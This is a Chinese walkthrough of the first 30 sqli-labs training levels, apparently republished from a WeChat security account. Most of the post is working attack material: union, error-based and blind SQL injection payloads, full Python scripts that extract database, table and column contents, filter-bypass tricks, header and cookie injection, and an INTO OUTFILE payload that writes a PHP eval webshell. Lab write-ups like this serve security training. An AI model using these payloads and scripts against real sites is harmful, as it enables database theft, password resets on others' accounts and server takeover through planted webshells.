前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sqli_labs65关通关详解(上)

Sqli_labs65关通关详解(上)

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 15:30:36
1.7K0
发布2018-02-06 15:30:36
举报

Less-1

这个题目是基于错误,单引号,字符型注入,

http://127.0.0.1/sqli/Less-1/?id=1' //报错

http://127.0.0.1/sqli/Less-1/?id=1' or '1'='1 //正常

可以通过单引号闭合进行注入。

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 //正常

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //报错

可以看出总共有三列,结合union查询。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 %23 //暴库

这里给出union联合查询的使用方法:

查数据库名:select database() //

查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA

爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA

查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65

information_schema.tables:存储mysql数据库下面的所有表名信息的表

table_schema:数据库名

Table_name:表名

查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572

column_name:列名

information_schema.columns :存储mysql数据库下面的所有列名信息的表

table_name:表名

查user表名下列名username,password的数据:

union select 1,username,password,4,5 from user

Less-2

数字型注入,不需要去闭合,给出payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3

Less-3

http://127.0.0.1/sqli/Less-3/?id=1'

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

根据报错回显中可以知道需要去闭合()。

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,database(),3 %23

Less-4

双引号闭合

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,database(),3 %23

Less-5

可以通过报错注入

http://127.0.0.1/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

也可以通过盲注,脚本如下

代码语言:js
复制
#Author:p0desta
import requests
import string
import sys
global findBit
import binascii
Flag_yes = "You are in"
def sendPayload(payload):
         url = 'http://127.0.0.1/sqli/Less-5/?id=1'+ payload
         content = requests.get(url).text
         return content
def findDatabaseNumber():
         count = 1
         while count:
                 payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if "You are in" in recv:
                          return count
                 else:
                          count += 1
def findTableNumber(dbname):
         count = 1
         dbname = '0x' + str(binascii.b2a_hex(dbname))
         while count:
                 payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def findColumnNumber(tableName):
         count = 1
         tableName = '0x' + str(binascii.b2a_hex(tableName))
         while count:
                 payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def findDataNumber(columnName,tableName):
         count = 1
         while count:
                 payload = "'AND (select count("+columnName+") from "+tableName+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def getDatabaseName(dbNum):
         global findBit
         for k in range(dbNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchDbs(-1,255,i,k)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("`\r\n")
                                   break
def getTableName(tableNum,dbName):
         global findBit
         dbName = '0x' + str(binascii.b2a_hex(dbName))
         for k in range(tableNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchTable(-1,255,i,k,dbName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def getColumnName(columnNum,tableName):
         global findBit
         tableName = '0x' + str(binascii.b2a_hex(tableName))
         for k in range(columnNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchColumn(-1,255,i,k,tableName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def getDataName(dataNum,columnName,tableName):
         global findBit
         for k in range(dataNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchData(-1,255,i,k,columnName,tableName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def doubleSearchDbs(leftNum,rightNum,i,k):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchDbs(midNum,rightNum,i,k)
                 else:
                          doubleSearchDbs(leftNum,midNum,i,k)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ASCII(substr((SELECT table_name  FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchTable(midNum,rightNum,i,k,dbName)
                 else:
                          doubleSearchTable(leftNum,midNum,i,k,dbName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchColumn(midNum,rightNum,i,k,tableName)
                 else:
                          doubleSearchColumn(leftNum,midNum,i,k,tableName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
                 else:
                          doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def exp():
         dbNum = findDatabaseNumber()
         print "the number of database is "+str(dbNum)
         getDatabaseName(dbNum)
         dbName = raw_input('Find tables from :')
         tableNum = findTableNumber(dbName)
         print "the nameber of table is: " + str(tableNum)     
         getTableName(tableNum,dbName)
         tableName = raw_input('Find columns from :')
         columnNum = findColumnNumber(tableName)
         print "the number of column is: " + str(columnNum)
         getColumnName(columnNum,tableName)
         columnName = raw_input('Find data from :')
         dataNum = findDataNumber(columnName,tableName)
         print "the number of data is :" + str(dataNum)
         getDataName(dataNum,columnName,tableName)
exp()

Less-6

同上,改为双引号闭合。

Less-7

考查mysql对文件操作

限制:

  • 需要有读取文件的权限
  • 需要知道绝对物理路径

load_file()

这里需要注意对路径的转义。

代码语言:js
复制
+---------------------------+
| load_file("D://test.txt") |
+---------------------------+
| p0desta                   |
+---------------------------+
+--------------------------+
| load_file("D:/test.txt") |
+--------------------------+
| p0desta                  |
+--------------------------+
+---------------------------------------------------+
| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |
+---------------------------------------------------+
| p0desta                                                  |
+---------------------------------------------------+
+---------------------------------------+
| load_file(0x443A2F2F746573742E747874) |
+---------------------------------------+
| p0desta                               |
+---------------------------------------+

数据导出

mysql> select database() into outfile "D://phpstudy//www//1.txt";

ERROR 1086 (HY000): File 'D://phpstudy//www//1.txt' already exists

mysql> select database() into outfile "D://phpstudy//www//2.txt";

Query OK, 1 row affected (0.00 sec)

第一次写的时候1.txt已经存在,写入失败。

直接写webshell

mysql> select "<?php eval($_POST['p0desta'])?>" into outfile 'D:/phpstudy/WWW/p0desta.php';

Query OK, 1 row affected (0.00 sec)

Less-7

payload:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["p0desta"]) ?>' into outfile "D:\\phpstudy\\WWW\\shell.php" %23

Less-8

构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。

Less-9

基于时间的注入

写了两个简单的脚本:

代码语言:js
复制
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    print result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    if ll==len(result):
         print 'table_name:  '+result
         end = raw_input('-------------')
    ll = len(result)
    print result

Less-10

双引号闭合的盲注。

less-11

有回显,报错注入。

代码语言:js
复制
usernae = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

奉上我收藏的报错语句

1.通过floor报错,注入语句如下:

代码语言:js
复制
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.通过ExtractValue报错,注入语句如下:

代码语言:js
复制
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3.通过UpdateXml报错,注入语句如下:

代码语言:js
复制
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4.通过NAME_CONST报错,注入语句如下:

代码语言:js
复制
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5.通过join报错,注入语句如下:

代码语言:js
复制
select * from(select * from mysql.user ajoin mysql.user b)c;

6.通过exp报错,注入语句如下:

代码语言:js
复制
and exp(~(select * from (select user () ) a) );

7.通过GeometryCollection()报错,注入语句如下:

代码语言:js
复制
and GeometryCollection(()select *from(select user () )a)b );

8.通过polygon ()报错,注入语句如下:

代码语言:js
复制
and polygon (()select * from(select user ())a)b );

9.通过multipoint ()报错,注入语句如下:

代码语言:js
复制
and multipoint (()select * from(select user() )a)b );

10.通过multlinestring ()报错,注入语句如下:

代码语言:js
复制
and multlinestring (()select * from(selectuser () )a)b );

11.通过multpolygon ()报错,注入语句如下:

代码语言:js
复制
and multpolygon (()select * from(selectuser () )a)b );

12.通过linestring ()报错,注入语句如下:

代码语言:js
复制
and linestring (()select * from(select user() )a)b );

less-12

与上一关基本相同,区别在于

代码语言:js
复制
$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

payload如下

代码语言:js
复制
admin")and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-13

post数据:

代码语言:js
复制
uname=admin'&passwd=chybeta&submit=Submit

报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'chybeta') LIMIT 0,1' at line 1

根据报错语句可以猜测出闭合情况,代码如下

代码语言:js
复制
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

有报错,直接报错注入,闭合一下就OK。

less-14

与前面的区别就在于

代码语言:js
复制
$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

注意使用双引号闭合。

payload如下:

代码语言:js
复制
admin"and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-15

没有报错回显,闭合之后盲注。

可见构造了布尔条件,接下来写脚本跑一下就可以了。

less-16

跟上一关差不多,只不过闭合语句不同。

代码语言:js
复制
$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

脚本如下:

代码语言:js
复制
import requests
import string
import sys
global findBit
def sendPayload(payload):
         proxy = {"http":"http://127.0.0.1:8080"}
         url = "http://localhost:20000/sqllab/Less-16/index.php"
         data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
         headers = {"Content-Type": "application/x-www-form-urlencoded"}
         content = requests.post(url,data=data,headers=headers,proxies=proxy)
         return content.text
flag = "flag.jpg"
def generateTarget(flag):
         if flag == "database":
                 return "database()"
         elif flag == "tables":
                 return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
         elif flag == "columns":
                 return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
         elif flag == "data":
                 return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
                 recv = sendPayload(payload)
                 if flag in recv:
                          doubleSearch(leftNum,midNum,i,target)
                 else:
                          doubleSearch(midNum,rightNum,i,target)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def exp():
         global findBit
         i = 1
         findBit = 0
         print "The database:"
         target = "database"
         while i :
                 doubleSearch(-1,255,i,target)
                 i += 1
                 if findBit == 1:
                          sys.stdout.write("\r\n")
                          break
exp()

注意闭合一下然后构造布尔条件注入就可以。

less-17

代码语言:js
复制
function check_input($value)
         {
         if(!empty($value))
                 {
                 // truncation (see comments)
                 $value = substr($value,0,15);
                 }
                 // Stripslashes if magic quotes enabled
                 if (get_magic_quotes_gpc())
                          {
                          $value = stripslashes($value);
                          }
                 // Quote if not a number
                 if (!ctype_digit($value))
                          {
                          $value = "'" . mysql_real_escape_string($value) . "'";
                          }
         else
                 {
                 $value = intval($value);
                 }
         return $value;
         }
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); 
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。

less-18

这里就要用到burpsuite了,这三关都是考查对header头进行注入

代码语言:js
复制
$uname = check_input($_POST['uname']); 
    $passwd = check_input($_POST['passwd']);
uname和passwd都进行了过滤,在这里进行注入是行不通的。
$uagent = $_SERVER['HTTP_USER_AGENT']; 
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以可以利用构造User Agent进行注入。 这里推荐使用Burpsuite,毕竟是神器。

这里跟前面的报错情况就一样了,只不过构造的位置不同而已。

less-19

情况跟上面一样,只不过位置不同。

less-20

情况跟上面一样,只不过位置不同,不再赘述。

less 21

登陆账户,抓包发现

用户名经过base64编码传输,通过修改uname进行注入攻击。

代码语言:js
复制
admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#

报错。

代码分析

注入完研究一下代码,可以看到这里如果没有设置cookie的话

代码语言:js
复制
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
                 $result1 = mysql_query($sql);
                 $row1 = mysql_fetch_array($result1);

将用户名和密码代入数据库查询,查询到的话设置cookie

代码语言:js
复制
setcookie('uname', base64_encode($row1['username']), time()+3600);

username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。

payload:

代码语言:js
复制
uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=
</font>Issue with your mysql: XPATH syntax error: ':root@localhost'

less-22

使用双引号去闭合,直接用报错语句去注入

代码语言:js
复制
admin") and 1=(updatexml(1,concat(0x3a,(select user())),1))#

原来这个和21关不太一样,不需要)去闭合。

Cookie:

uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

less-23

使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1 报错

代码语言:js
复制
syntax to use near ''1'' LIMIT 0,1'

注释符号没法用了但是可以使用

代码语言:js
复制
id=-1' or '1'='1
payload:id=-1' union select 1,database(),'3

相当于

代码语言:js
复制
mysql> select * from users where id='-1' union select 1,database(),'3' limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | security | 3        |
+----+----------+----------+
1 row in set (0.06 sec)

less-24

首先根据正常思路走一步,然后找一下可能存在注入的地方

随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。 看一下代码

代码语言:js
复制
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

既然这样那么就可以通过控制username语句不执行判断password了。

代码语言:js
复制
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

首先注册一个账号插入数据库

代码语言:js
复制
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

如果注册账号为admin'#的话代入这个更新语句

代码语言:js
复制
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。

less-25

过滤了or和and。

双写可绕过

http://192.168.211.145/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23

代码语言:js
复制
function blacklist($id)
{
         $id= preg_replace('/or/i',"", $id);                   //strip out OR (non case sensitive)
         $id= preg_replace('/AND/i',"", $id);          //Strip out AND (non case sensitive)
         return $id;
}

查看代码发现只有一边过滤。

less-25a

这个题是25的拓展,加了盲注

http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

写个脚本跑一下就行了。

less-26

过滤的挺恶心的感觉

代码语言:js
复制
function blacklist($id)
{
         $id= preg_replace('/or/i',"", $id);                   //strip out OR (non case sensitive)
         $id= preg_replace('/and/i',"", $id);          //Strip out AND (non case sensitive)
         $id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
         $id= preg_replace('/[--]/',"", $id);          //Strip out --
         $id= preg_replace('/[#]/',"", $id);                   //Strip out #
         $id= preg_replace('/[\s]/',"", $id);          //Strip out spaces
         $id= preg_replace('/[\/\\\\]/',"", $id);               //Strip out slashes
         return $id;
}

可以使用没空格的报错注入

代码语言:js
复制
?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1

继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。

http://192.168.211.145/sqli/Less-26/?id=0'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1

XPATH syntax error: '\emails,referers,uagents,users'

less-26a

这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。

?id=0'||(select(substr((select(database())),1,1)))='s

less-27

经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。

http://192.168.211.145/sqli/Less-27/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。

less-27a

拓展的27关,改一下构造bool条件,写个脚本跑一下即可。

http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))='s

less-28

这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。

自己改了一下。

看一下过滤的的代码

代码语言:js
复制
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                                  //strip out /*
$id= preg_replace('/[--]/',"", $id);                           //Strip out --.
$id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                   //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                   //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);            //Strip out UNION & SELECT.
return $id;
}

如果报错注入的话直接用之前的payload就可以。

http://192.168.211.145/sqli/Less-28/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

但是如果就是去绕union select呢, payload如下

http://192.168.211.145/sqli/Less-28/?id=0')union(select%0d1,database(),'3

less-28a

这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。

less-29

这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。

代码语言:js
复制
function java_implimentation($query_string)
{
         $q_s = $query_string;
         $qs_array= explode("&",$q_s);
         foreach($qs_array as $key => $value)
         {
                 $val=substr($value,0,2);
                 if($val=="id")
                 {
                          $id_value=substr($value,3,30);
                          return $id_value;
                          echo "<br>";
                          break;
                 }
         }
}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
         $match = preg_match("/^\d+$/", $input);
         if($match)
         {
                 //echo "you are good";
                 //return $match;
         }
         else
         {       
                 header('Location: hacked.php');
                 //echo "you are bad";
         }
}
$qs = $_SERVER['QUERY_STRING'];
         $hint=$qs;
         $id1=java_implimentation($qs);
         $id=$_GET['id'];
         //echo $id1;
         whitelist($id1);

接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造

login.php?id=1&id=' union select 1,database(),3 --+

less-30

跟上题差不多,只不过双引号闭合。

http://192.168.211.145/sqli/Less-30/?id=1&id=" union select 1,database(),3 --+

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-01-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档